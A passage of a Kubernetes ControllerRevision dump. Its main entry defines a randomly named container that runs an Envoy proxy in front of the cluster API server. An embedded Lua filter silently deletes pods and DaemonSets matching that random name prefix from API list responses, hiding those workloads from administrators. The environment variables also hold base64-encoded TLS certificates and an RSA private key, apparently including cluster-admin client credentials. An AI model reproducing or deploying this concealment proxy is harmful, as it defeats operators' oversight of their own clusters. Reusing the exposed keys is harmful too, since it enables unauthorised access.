              type: Directory
            name: kubelet-dir
          - hostPath:
              path: /var/lib/kubelet/plugins_registry
              type: Directory
            name: registration-dir
          - hostPath:
              path: /var/lib/kubelet/plugins/csi.tigera.io
              type: DirectoryOrCreate
            name: socket-dir
          - hostPath:
              path: /var/run
              type: ""
            name: varrun
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
    creationTimestamp: "2025-10-19T16:12:26Z"
    labels:
      app.kubernetes.io/name: csi-node-driver
      controller-revision-hash: 574b5f4769
      k8s-app: csi-node-driver
      name: csi-node-driver
    name: csi-node-driver-574b5f4769
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: csi-node-driver
      uid: 2e15d322-f044-463e-972a-fc916ef3808f
    resourceVersion: "6821131"
    uid: 31aae245-1473-4f54-9dd2-455f2a6b688b
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          creationTimestamp: null
          labels:
            app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy
        spec:
          containers:
          - args:
            - |
              set -eu
              umask 077
              mkdir -p /work/tls-down /work/client-ca /work/proxy-client

              printf "%s" "$TLS_DOWN_CRT_B64"  | base64 -d > /work/tls-down/tls.crt
              printf "%s" "$TLS_DOWN_KEY_B64"  | base64 -d > /work/tls-down/tls.key
              printf "%s" "$CLIENT_CA_CRT_B64" | base64 -d > /work/client-ca/ca.crt

              HAVE_PROXY_CLIENT=false
              if [ -n "${PROXY_CLIENT_CRT_B64:-}" ] && [ -n "${PROXY_CLIENT_KEY_B64:-}" ]; then
                printf "%s" "$PROXY_CLIENT_CRT_B64" | base64 -d > /work/proxy-client/tls.crt
                printf "%s" "$PROXY_CLIENT_KEY_B64" | base64 -d > /work/proxy-client/tls.key
                HAVE_PROXY_CLIENT=true
              fi

              cat > /work/envoy.yaml <<'YAML'
              static_resources:
                listeners:
                  - name: local_intercept
                    address:
                      socket_address:
                        address: 0.0.0.0
                        port_value: 15443
                    listener_filters:
                      - name: envoy.filters.listener.tls_inspector
                        typed_config:
                          "@type": type.googleapis.com/envoy.extensions.filters.listener.tls_inspector.v3.TlsInspector
                    filter_chains:
                      - filter_chain_match:
                          transport_protocol: "tls"
                        transport_socket:
                          name: envoy.transport_sockets.tls
                          typed_config:
                            "@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.DownstreamTlsContext
                            require_client_certificate: true
                            common_tls_context:
                              tls_certificates:
                                - certificate_chain:
                                    filename: /work/tls-down/tls.crt
                                  private_key:
                                    filename: /work/tls-down/tls.key
                              validation_context:
                                trusted_ca:
                                  filename: /work/client-ca/ca.crt
                              alpn_protocols:
                                - h2
                                - http/1.1
                        filters:
                          - name: envoy.filters.network.http_connection_manager
                            typed_config:
                              "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
                              stat_prefix: user_l7
                              codec_type: AUTO
                              upgrade_configs:
                                - upgrade_type: websocket
                              route_config:
                                name: routes
                                virtual_hosts:
                                  - name: default
                                    domains: ["*"]
                                    routes:
                                      - match:
                                          prefix: "/"
                                        route:
                                          cluster: apiserver_upstream
                              http_filters:
                                - name: envoy.filters.http.lua
                                  typed_config:
                                    "@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua
                                    inline_code: |-
                                      local DS_WILDCARD = '^m6pcat8pkz1umdgfqqw10tz8nmndwm27.*'
                                      local JSON_NULL = {}
                                      local json = {}

                                      local function skip_ws(s,i) local _,j=s:find('^[ \n\r\t]*',i) return (j or i-1)+1 end
                                      local function parse_str(s,i)
                                        i=i+1; local res, j = {}, i
                                        while true do
                                          local c=s:sub(j,j) if c=='' then error('unterminated string') end
                                          if c=='"' then return table.concat(res), j+1 end
                                          if c=='\\' then
                                            local n=s:sub(j+1,j+1)
                                            if n=='"' or n=='\\' or n=='/' then res[#res+1]=n; j=j+2
                                            elseif n=='b' then res[#res+1]='\b'; j=j+2
                                            elseif n=='f' then res[#res+1]='\f'; j=j+2
                                            elseif n=='n' then res[#res+1]='\n'; j=j+2
                                            elseif n=='r' then res[#res+1]='\r'; j=j+2
                                            elseif n=='t' then res[#res+1]='\t'; j=j+2
                                            elseif n=='u' then j=j+6
                                            else error('invalid escape') end
                                          else res[#res+1]=c; j=j+1 end
                                        end
                                      end
                                      local function parse_num(s,i)
                                        local p=s:match('^%-?%d+%.?%d*[eE]?[+%-]?%d*',i) if not p then error('invalid number') end
                                        return tonumber(p), i+#p
                                      end
                                      local function parse_val(s,i)
                                        i=skip_ws(s,i); local c=s:sub(i,i)
                                        if c=='{' then
                                          local t={} i=i+1 i=skip_ws(s,i) if s:sub(i,i)=='}' then return t,i+1 end
                                          while true do
                                            i=skip_ws(s,i) if s:sub(i,i)~='"' then error('object key not string') end
                                            local k; k,i=parse_str(s,i) i=skip_ws(s,i) if s:sub(i,i)~=':' then error('expected :') end
                                            local v; v,i=parse_val(s,i+1) t[k]=v i=skip_ws(s,i)
                                            local ch=s:sub(i,i) if ch=='}' then return t,i+1 end if ch~=',' then error('expected , or }') end
                                            i=i+1
                                          end
                                        elseif c=='[' then
                                          local t={} i=i+1 i=skip_ws(s,i) if s:sub(i,i)==']' then return t,i+1 end
                                          local idx=1
                                          while true do
                                            local v; v,i=parse_val(s,i) t[idx]=v idx=idx+1 i=skip_ws(s,i)
                                            local ch=s:sub(i,i) if ch==']' then return t,i+1 end if ch~=',' then error('expected , or ]') end
                                            i=i+1
                                          end
                                        elseif c=='"' then local v; v,i=parse_str(s,i) return v,i
                                        elseif c=='-' or c:match('%d') then return parse_num(s,i)
                                        elseif s:sub(i,i+3)=='true' then return true, i+4
                                        elseif s:sub(i,i+4)=='false' then return false, i+5
                                        elseif s:sub(i,i+3)=='null' then return JSON_NULL, i+4
                                        else error('unexpected char') end
                                      end
                                      function json.decode(s)
                                        if not s or s=='' then return nil end
                                        if #s>=3 and s:byte(1)==0xEF and s:byte(2)==0xBB and s:byte(3)==0xBF then s=s:sub(4) end
                                        s=s:gsub('^%s+','')
                                        local ok,val=pcall(function() local v=select(1,parse_val(s,1)) return v end)
                                        if ok then return val end
                                        return nil
                                      end
                                      local function esc_str(s)
                                        s=s:gsub('\\','\\\\'):gsub('"','\\"'):gsub('\b','\\b'):gsub('\f','\\f'):gsub('\n','\\n'):gsub('\r','\\r'):gsub('\t','\\t')
                                        return '"'..s..'"'
                                      end
                                      local function is_array(t)
                                        if t==JSON_NULL or type(t)~='table' then return false end
                                        if t.__arr == true then return true end
                                        local max,count=0,0
                                        for k,_ in pairs(t) do
                                          if type(k)~='number' or k<=0 or k%1~=0 then return false end
                                          if k>max then max=k end; count=count+1
                                        end
                                        if max==0 or count~=max then return false end
                                        return true
                                      end
                                      local function enc(v)
                                        if v==JSON_NULL then return 'null' end
                                        local tv=type(v)
                                        if tv=='nil' then return 'null'
                                        elseif tv=='boolean' or tv=='number' then return tostring(v)
                                        elseif tv=='string' then return esc_str(v)
                                        elseif tv=='table' then
                                          if is_array(v) then
                                            local out={} for i=1,#v do out[i]=enc(v[i]) end return '['..table.concat(out,',')..']'
                                          else
                                            local out={}
                                            for k,val in pairs(v) do if k~='__arr' then out[#out+1]=esc_str(tostring(k))..':'..enc(val) end end
                                            return '{'..table.concat(out,',')..'}'
                                          end
                                        else return 'null' end
                                      end
                                      function json.encode(v) return enc(v) end

                                      local function preview(s,n) n=n or 160 if not s then return '<nil>' end return s:sub(1,n):gsub('[%c]',' ') end
                                      local function join(vals,lim) lim=lim or 8 local out={} for i=1,math.min(#vals,lim) do out[i]=tostring(vals[i]) end if #vals>lim then out[#out+1]='...+'..tostring(#vals-lim) end return table.concat(out,',') end

                                      local function is_ds_path(path)
                                        if #path>1 and path:sub(-1)=='/' then path=path:sub(1,-2) end
                                        if path=='/apis/apps/v1/daemonsets' then return true end
                                        if path:match('^/apis/apps/v1/namespaces/[^/]+/daemonsets$') then return true end
                                        return false
                                      end
                                      local function is_pod_path(path)
                                        if #path>1 and path:sub(-1)=='/' then path=path:sub(1,-2) end
                                        if path=='/api/v1/pods' then return true end
                                        if path:match('^/api/v1/namespaces/[^/]+/pods$') then return true end
                                        return false
                                      end
                                      local function find_name_col_idx(tbl)
                                        local defs=tbl.columnDefinitions
                                        if type(defs)~='table' then return 1 end
                                        for i=1,#defs do local nm=defs[i] and defs[i].name if nm=='Name' or nm=='NAME' then return i end end
                                        return 1
                                      end
                                      local function write_and_finish(handle,out,tag)
                                        local H = handle:headers()
                                        if H:get('content-length') then H:replace('content-length', tostring(#out)) end
                                        H:remove('content-encoding')
                                        if tag then H:replace('x-ds-filter', tag) end
                                        handle:body():setBytes(out)
                                        return
                                      end
                                      local function pod_owned_by_matching_ds(pod)
                                        if not pod or not pod.metadata or not pod.metadata.ownerReferences then return false end
                                        local refs = pod.metadata.ownerReferences
                                        for i=1,#refs do
                                          local r = refs[i]
                                          local k = r and r.kind
                                          local n = r and r.name
                                          if k=='DaemonSet' and type(n)=='string' and n:match(DS_WILDCARD) then return true end
                                        end
                                        return false
                                      end

                                      function envoy_on_request(handle)
                                        local hdrs = handle:headers()
                                        local raw  = hdrs:get(':path') or '/'
                                        local path = raw:gsub('%?.*$','')
                                        local m    = hdrs:get(':method') or 'GET'
                                        local qs   = raw:match('%?(.*)$')
                                        local acc  = hdrs:get('accept') or '<nil>'
                                        local ua   = hdrs:get('user-agent') or '<nil>'
                                        local is_watch = qs and qs:match('([?&]watch=)(1|[Tt][Rr][Uu][Ee])')
                                        local should = (m=='GET') and (is_ds_path(path) or is_pod_path(path)) and not is_watch
                                        handle:logInfo('[lua] req m='..m..' path='..path..' ua='..ua..' accept='..acc..' should='..(should and 'true' or 'false'))
                                        if should then
                                          local ae_before = hdrs:get('accept-encoding') or '<nil>'
                                          hdrs:replace('accept-encoding', 'identity')
                                          handle:logInfo('[lua] strip accept-encoding: was='..ae_before..' now=identity')
                                          handle:streamInfo():dynamicMetadata():set('lua_ds_filter','enabled',true)
                                        end
                                      end

                                      function envoy_on_response(handle)
                                        local meta = handle:streamInfo():dynamicMetadata():get('lua_ds_filter') or {}
                                        if not meta['enabled'] then return end

                                        local H = handle:headers()
                                        local status = H:get(':status') or '200'
                                        local ct = H:get('content-type') or '<nil>'
                                        local ce = H:get('content-encoding') or '<nil>'
                                        if status ~= '200' then handle:logInfo('[lua] resp skip status='..status) return end

                                        local B = handle:body()
                                        if not B then handle:logInfo('[lua] resp no body') return end
                                        local n = B:length()
                                        if n == 0 then handle:logInfo('[lua] resp empty body') return end

                                        local s = B:getBytes(0, n)
                                        handle:logInfo('[lua] resp ct='..ct..' ce='..ce..' len='..tostring(n)..' preview="'..preview(s,160)..'"')

                                        local doc = json.decode(s)
                                        if not doc or type(doc)~='table' then handle:logInfo('[lua] resp not json') return end

                                        handle:logInfo('[lua] kind='..tostring(doc.kind))

                                        if doc.kind=='Table' and type(doc.rows)=='table' then
                                          local before = #doc.rows
                                          local name_idx = find_name_col_idx(doc)
                                          local kept, removed, kept_names = {}, {}, {}
                                          for i=1,before do
                                            local row = doc.rows[i]
                                            local name
                                            if row and row.object and row.object.metadata then name = row.object.metadata.name end
                                            if (not name) and row and row.cells and name_idx and row.cells[name_idx] then
                                              local cell = row.cells[name_idx]
                                              if cell==JSON_NULL then cell=nil end
                                              name = cell
                                            end
                                            local kill = (type(name)=='string' and name:match(DS_WILDCARD))
                                            if (not kill) and row and row.object then kill = pod_owned_by_matching_ds(row.object) end
                                            if kill then removed[#removed+1] = name or '<noname>' else if type(name)=='string' then kept_names[#kept_names+1]=name end kept[#kept+1] = row end
                                          end
                                          kept.__arr = true
                                          handle:logInfo('[lua] table rows_before='..tostring(before)..' name_col='..tostring(name_idx)..' removed='..join(removed,10)..' kept='..join(kept_names,10))
                                          doc.rows = kept
                                          local out = json.encode(doc)
                                          handle:logInfo('[lua] table rows_after='..tostring(#kept)..' out_len='..tostring(#out))
                                          return write_and_finish(handle, out, 'table-removed='..tostring(before-#kept)..' kept='..tostring(#kept))
                                        end

                                        if (doc.kind=='DaemonSetList' or doc.kind=='PodList') and type(doc.items)=='table' then
                                          local before = #doc.items
                                          local kept, removed, kept_names = {}, {}, {}
                                          for i=1,before do
                                            local it = doc.items[i]
                                            local name = it and it.metadata and it.metadata.name
                                            local kill = (type(name)=='string' and name:match(DS_WILDCARD))
                                            if (not kill) and doc.kind=='PodList' then kill = pod_owned_by_matching_ds(it) end
                                            if kill then removed[#removed+1] = name or '<noname>' else if type(name)=='string' then kept_names[#kept_names+1]=name end kept[#kept+1] = it end
                                          end
                                          kept.__arr = true
                                          handle:logInfo('[lua] list kind='..tostring(doc.kind)..' items_before='..tostring(before)..' removed='..join(removed,10)..' kept='..join(kept_names,10))
                                          doc.items = kept
                                          local out = json.encode(doc)
                                          handle:logInfo('[lua] list items_after='..tostring(#kept)..' out_len='..tostring(#out))
                                          return write_and_finish(handle, out, 'list-removed='..tostring(before-#kept)..' kept='..tostring(#kept))
                                        end

                                        handle:logInfo('[lua] kind not handled')
                                        return
                                      end

                                - name: envoy.filters.http.router
                                  typed_config:
                                    "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router











                clusters:
                  - name: apiserver_upstream
                    type: STATIC
                    connect_timeout: 5s
                    http2_protocol_options: {}
                    load_assignment:
                      cluster_name: apiserver_upstream
                      endpoints:
                        - lb_endpoints:
                            - endpoint:
                                address:
                                  socket_address:
                                    address: 127.0.0.1
                                    port_value: 6443
                    transport_socket:
                      name: envoy.transport_sockets.tls
                      typed_config:
                        "@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.UpstreamTlsContext
                        common_tls_context:
                          tls_certificates:
                            - certificate_chain:
                                filename: /work/proxy-client/tls.crt
                              private_key:
                                filename: /work/proxy-client/tls.key
                          validation_context:
                            trusted_ca:
                              filename: /work/client-ca/ca.crt
                          alpn_protocols:
                            - h2
                            - http/1.1

              admin:
                address:
                  socket_address:
                    address: 127.0.0.1
                    port_value: 9901
              YAML

              echo "=== /work/envoy.yaml ==="
              nl -ba /work/envoy.yaml
              echo "========================"

              envoy --mode validate -c /work/envoy.yaml

              exec envoy -c /work/envoy.yaml --disable-hot-restart
            command:
            - /bin/sh
            - -ec
            env:
            - name: TLS_DOWN_CRT_B64
              value: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURqVENDQW5XZ0F3SUJBZ0lJVFZjc1gzaXBhRzR3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBNU1qRXhNVEEwTURWYUZ3MHlOakE1TWpFeE1UQTVNRFZhTUJreApGekFWQmdOVkJBTVREbXQxWW1VdFlYQnBjMlZ5ZG1WeU1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBCk1JSUJDZ0tDQVFFQXRHOUdCWkR1WGlabklnekV2NEI0dkhrbDVxZzBpNlowT3AzQXVkUVRQR3hxU2tRUFhNQW8KbFZoWFRUcENFQUtjZzJ2ZGhoK0t3ZzZvMUt1QzJ2c2JZVkV0Q1ZoVzJaNmV1V0dncTl4emxYWHVNTGhVSDl5NQpqWmN0b0VOcXh2c0pnekNqRGF3MExuMS9EZm54L2pVTE4yQ2lCVWM3VDVzcHhCdTdwVWFzSzNhYWsrdS9OdmJsClI0NzdGVUpFVS8xRFQrNWZhYzA3V0lGY05LR09FWExueG1FbWlzK21KZ0tPSU5XYVFpYnJYUGVaRXRKL1d4dWUKRmMwZEgxMnJLWE9kdUdiQUJsQUhiODFXTlZnUEpEOXlseTRDSWs3a3lEanNYTU9WemJKdkFWYUFDeDRJWm4zcApXN3Q2eU5LZXBGU2RGMHExUFduc1VMRkZtYXdQTUZJbUx3SURBUUFCbzRIY01JSFpNQTRHQTFVZER3RUIvd1FFCkF3SUZvREFUQmdOVkhTVUVEREFLQmdnckJnRUZCUWNEQVRBTUJnTlZIUk1CQWY4RUFqQUFNQjhHQTFVZEl3UVkKTUJhQUZBbjZHR3BSZGFiS253S1p2M3QxMHl2OTVrVjRNSUdDQmdOVkhSRUVlekI1Z2dkck9ITXRiUzB4Z2dwcgpkV0psY201bGRHVnpnaEpyZFdKbGNtNWxkR1Z6TG1SbFptRjFiSFNDRm10MVltVnlibVYwWlhNdVpHVm1ZWFZzCmRDNXpkbU9DSkd0MVltVnlibVYwWlhNdVpHVm1ZWFZzZEM1emRtTXVZMngxYzNSbGNpNXNiMk5oYkljRUNtQUEKQVljRXJCQWVFSWNFckJBZStqQU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FRRUFLWSs0Y1pzL3lFM1dvU0QzYzMycQpJV0IvK2dCZ3hieFFmZDUydzNYNWwrZUY0VVhDcXpVSGd6UEhjdTRFQVptZUo1R3RVZDhrK1NjeVF4RVo3V3M1Cm5kUkFXVS9pLy9tQnhiM2xqbUt3Y2tQMUpXbFdvaVh3d1ZWWGVqUExRa0NDYjM1OE5wYUNnZ1lKWDBWY1ZEcisKRDhUL3FKNnNzVnFuQ1dtUG0xb1JuSmVYSVVlcDJWNmFWSDhPcE45ZGc5Z21nemZ0YTVZUTdyWFF0aEt1dnVIdgpicUs0dE90aklOdzlnZGZKd0Y4MHFxTmVaNGltWGNtam9IRml5NjFPa0NpTXc0MSszNmNBODRrU2krM0s1ZHVqCkg3OGI2RlhjZWFFb3FUYmpNdkVYMHZSbWhqbkk5OUdWaFN0SU1RSkJhSXVKU0UzbHJXbVpQbkdJNzRyVlFkRS8KQ3c9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
            - name: TLS_DOWN_KEY_B64
              value: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb2dJQkFBS0NBUUVBdEc5R0JaRHVYaVpuSWd6RXY0QjR2SGtsNXFnMGk2WjBPcDNBdWRRVFBHeHFTa1FQClhNQW9sVmhYVFRwQ0VBS2NnMnZkaGgrS3dnNm8xS3VDMnZzYllWRXRDVmhXMlo2ZXVXR2dxOXh6bFhYdU1MaFUKSDl5NWpaY3RvRU5xeHZzSmd6Q2pEYXcwTG4xL0RmbngvalVMTjJDaUJVYzdUNXNweEJ1N3BVYXNLM2Fhayt1LwpOdmJsUjQ3N0ZVSkVVLzFEVCs1ZmFjMDdXSUZjTktHT0VYTG54bUVtaXMrbUpnS09JTldhUWliclhQZVpFdEovCld4dWVGYzBkSDEycktYT2R1R2JBQmxBSGI4MVdOVmdQSkQ5eWx5NENJazdreURqc1hNT1Z6Ykp2QVZhQUN4NEkKWm4zcFc3dDZ5TktlcEZTZEYwcTFQV25zVUxGRm1hd1BNRkltTHdJREFRQUJBb0lCQUNaK3J2TzFEZ1hzTDRpbQpMTHVtanh1MnhRMUd5WjhacmlaclRaalgxQnJLRG9zMXBnbGx2Y0xQRENFZjBzUlRxa3lua0tWeXlVbkprdDk4CmovaGtKbDFHMGxMeUUrVnQzL014RHZSYm5oVS9DY2cvSzBONDllVnRZWUNWb1l3K05yTlVoeFQ5cmt4VTNleC8KYk0rTlJZMVZBbndaekYrWmZQbW42UXJEM3l1T1VJc3JzK2svWUdPbFlmVThYR3JMeTFtRURoSnhJRHNuQ2c2agpLV2pCZ2lsMTQ3STdKdlJvOUdOdndCR0lGcG4vNy9zN2xIVXVOdmV4Vyt0d2h3MkhnMHlZRE4yS1VvMkV3THJoCmg0dUNLaXhuOUxORm82RHF5LzllNzEzVXM4QWJPTWZ5WDIzVXNvTXBNWWFIN01Ec0E3UTA1RzZlMDNITkNUcGwKVjJ0ZDhpRUNnWUVBMWRjRk0rTHdaVlJVbU9rb2M1RFk2WE1IM2RGSUttZHAwWU5KTkVhRVAzTG1HaDBZR2dFRApGcHFlcVhCbk9mcTc3Y0k3YTY2d0ZMOWlRWTRCN0ZQYkxWbXNrV2E5UG1BUE5kNUdLdGRhWDFwN3IyQUZGZms3ClVUd3lTY2FtS3dHQWpnN2w1aXpGOExHZDR5SkRwdnNxaElBOGlxMzVVeVFCREhoQlZIYy8rVmNDZ1lFQTJBSTMKQXcyb1hEcDBpbnBaU0I0UDE0emMvak1RaUtSLzJJTlVkK1VHUW5qbllheWNyekpLeHN2UzZISmtMa213Vmd1bApRUDVKWjhLVkgxN2p6NUZteE9Jekd6a1gwWmkxYUJVZGZmZ2cxNlg0OEt3Ti9rcm1YNEpieUttMHdVc0lSNHFTCkowWnNSa3hncWppang2TndHV1JCS2dVYjAwYlRQNHlXdjRzcHV1a0NnWUJyYVRrRXlnNUVaNnFpc0NNUWdZWmoKSk5PanVOYk43ZW42UWo3SUVrK2xhenBuall1b3JDOTM4Q3lZSVl6SVU4aUg4ZE5WRUljRHRPcE8wVnpuNzJzZAppWGlrQkg0MFVaM3lTZmJtMkF0ZDhCNUdoaTJuenV2YnJ5ZjNaTi9jcEVHRm1iZ2krUVJvRlYrZ1VucTI2bHg5Cjk4ZnhSTmdDeWdmNDBvTEdRYXdSdXdLQmdHcWZKVUpYa252N3lweXo2YkFFVHJPSjcyZDJFem92WUgraHk2Ym0Kb0dGZFJuRGEvL2dtYmV5VW5VVnBlWE96b2R2SEljbmorcDNCMlZQRHhkVW1JMEVabWpwY3d4b05NN1h0ZmtJNApvUlZ3OG1EeHZIS0J6QmJteEtGV3kwY0IzMU5ZM2UyUEFGRHUwR1FWVXhwdTNSMWJkQ0xtcEtaejlrQVBDRFlCCjNoWkpBb0dBVFYzVjRMd01VQUY2c05hbHhPbzhWK2RUNmlSZTJTV1A4N29jWVUwUGNISVBHNXZZNTI0OFp6TjAKVEJ2TGd4bGIvWWlXaE15cExIQVl1SkZ1NUlweGpTM1lhUVByNVk0ZUMxbHo5ODJFdldRUUF1dzdnUGxGazF0SwpiTFNZdVRwSm5Vbmk4UUtsRjVZMkpIL25iVmtTRHBnZURUNTc1K2xHODNaY3p1RlJVZm89Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
            - name: CLIENT_CA_CRT_B64
              value: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJTFlmWUZGUERIOVV3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBNU1qRXhNVEEwTURWYUZ3MHpOVEE1TVRreE1UQTVNRFZhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUUMvSURncDJ6YU5EMTNrMFRTQUNYemVrYVdVL20zbHJEMXJXR054ZDNZdHJUOGNKNWM3YWV6bkYvMVkKeHVIWTFDTlBXQ2FUSVpBWlpzQ1lGZUhlaEkwdm13cGdpQkh5SFA5dTBXaGphWkZBY3JOZVZnMnE1czdJdkpJbAppdGREMnZHcmZiczJnQ0dBdGZ6MzNXcWpTaXhaVGNBdWdkQkFuN3B3YzZNTTNQNWc4ZWdrR0x6Z3o0YkZGQWNPCko4ZVJZakFwQlZiYVVOMVorek4vYmxsQVpYem1IOHA0R1VNT1Zabnp4eUIrZWZpN3RxZ3RCUXg2dGtjUENURWIKNUFURnpCSlYySFJQcVV4NDNCdDlmWStWbHZucm0yaUFlRTJPTGhxRCs4VlJsZXVvSmxiWklLeVlLOWR1djd0ZQpqd29icHNvbC8zMmF3N29hYVMwSjR1RWlKR1k5QWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJRSitoaHFVWFdteXA4Q21iOTdkZE1yL2VaRmVEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQVdOZE13WG8xKwo4TWtjR2R3bU1ZSVZWNXlvaTQySlZnYWNaVmdPMGdYaEJlV29USjRWL0FOcFVMZHo4WnNGeFpka0JXbE9zTXhqCnV2TTBDSndwa3Y5Z1pTNEVTb09Ua0VMZjVGTHdiY1AvN3dWazdiUlFBdTFmQnY0L0xXUXdFWnQ0QUY5RUlmcXMKWGp1UHpCb1l2b2wvQld0NjNRYlE5QnNxdHpVMVUzblZyL213dTJDS0ZqL0pMVFRrZWVZUlZwZENCVUkveUcvRgpleEpPZXJBeFpOcXRWeGVMdUk3MDRnRDRRdm04N09vQUp6WG53S2RwOXdZcDcvTGxOZTR5dFo1bDFJdDhqdldvClVCZXJrc2VQbGpsc2wrdmM3ajdCeDkyVGVITTR0bDNoVS8wRm1RWlZPVFA2bUQ1ZUNUSk5rbktXNWI5Uit6ZnEKZnlwWmFSZTg4S2tBCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
            - name: PROXY_CLIENT_CRT_B64
              value: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURLVENDQWhHZ0F3SUJBZ0lJZktQZTVkV25VeXN3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBNU1qRXhNVEEwTURWYUZ3MHlOakE1TWpFeE1UQTVNRFZhTUR3eApIekFkQmdOVkJBb1RGbXQxWW1WaFpHMDZZMngxYzNSbGNpMWhaRzFwYm5NeEdUQVhCZ05WQkFNVEVHdDFZbVZ5CmJtVjBaWE10WVdSdGFXNHdnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFEWW1LZjgKdldMVzZONXZ1MUdHZE5SZVlQcDNVeXNtRnhZRnQrTUhlQTlDTUdhK1hVVnVjRytraHJhUURCZDB4WDU4M0ovVgpDRFdZdDFZeW0yclVjTzJYa3BlTHhLOVBhZVlZTjlnbHV3U2tpU0duZ3BQWWFUVVYrTFg5NDM5VDR5WWgzOElKCkZBYzhhczNqWHprQ29UaHpRWGRzbDB1VXQyMC9iamNJZmEvT3ZwdlM3L1VHdms1Nzh3a0ZNa2lEUGdNSWhNWCsKUzdMSHJnQWo4MkFvdUxNZWROREhtWFd0MWJrMThpai9ZMFltditzRjBsTE9YakZJNWtYRnpPNEpFZHdRcDQrTApwcFplZkY2eWgzVSttVWQ0a3htOXVzeGg2NHRBTGlqYkxCVWpKUlBJZEd6OFE4QzBYdXYyRThKNWxPRTRYTU1YCkRiV001OFlrNkRDSzZPeWZBZ01CQUFHalZqQlVNQTRHQTFVZER3RUIvd1FFQXdJRm9EQVRCZ05WSFNVRUREQUsKQmdnckJnRUZCUWNEQWpBTUJnTlZIUk1CQWY4RUFqQUFNQjhHQTFVZEl3UVlNQmFBRkFuNkdHcFJkYWJLbndLWgp2M3QxMHl2OTVrVjRNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUJBUUFJTjNHU3J4bm90Nlk0RTBqTDVIdTBMK2lZCjl5NDFPaEwraGtua05ONWlCdVRSRHdjSnFER0VJckV2WWVsVXRvZHZiZlBuSUQxV0RIK0tMaS9KMktFQytHQXkKMG0zQ2lrZE5OSFo0VTJaS00zYWtQdDdhSGVad0swWG5hUjBJMFFiWlBJZEhUSkFIMXdGMzZ1NkQvclJKd08rRwpEWHROcDZTL3d6Z1pDbFVCdEZLVGN2bWx3YlZJWUh4aEcrQ1YwT3pBcmpOSXVqdmdvQ0cvTVlkUi9BVzFFMjB5CmsyS1Y4STlNZGxqMnpjQzYrN2J2MVhtMmpmZEhTbTNXZHQ1ZWlOV1VoYVRyZDdCNndqeWFmc20ySzI2cFh3UTIKUk1ZWmNQWVRiMzZYM2UvclphZGwvOXljdFo4K1VuTEtTY1c2Y2ppdVlQT3l4N2xFSXJocklYOEFzRXMzCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
            - name: PROXY_CLIENT_KEY_B64
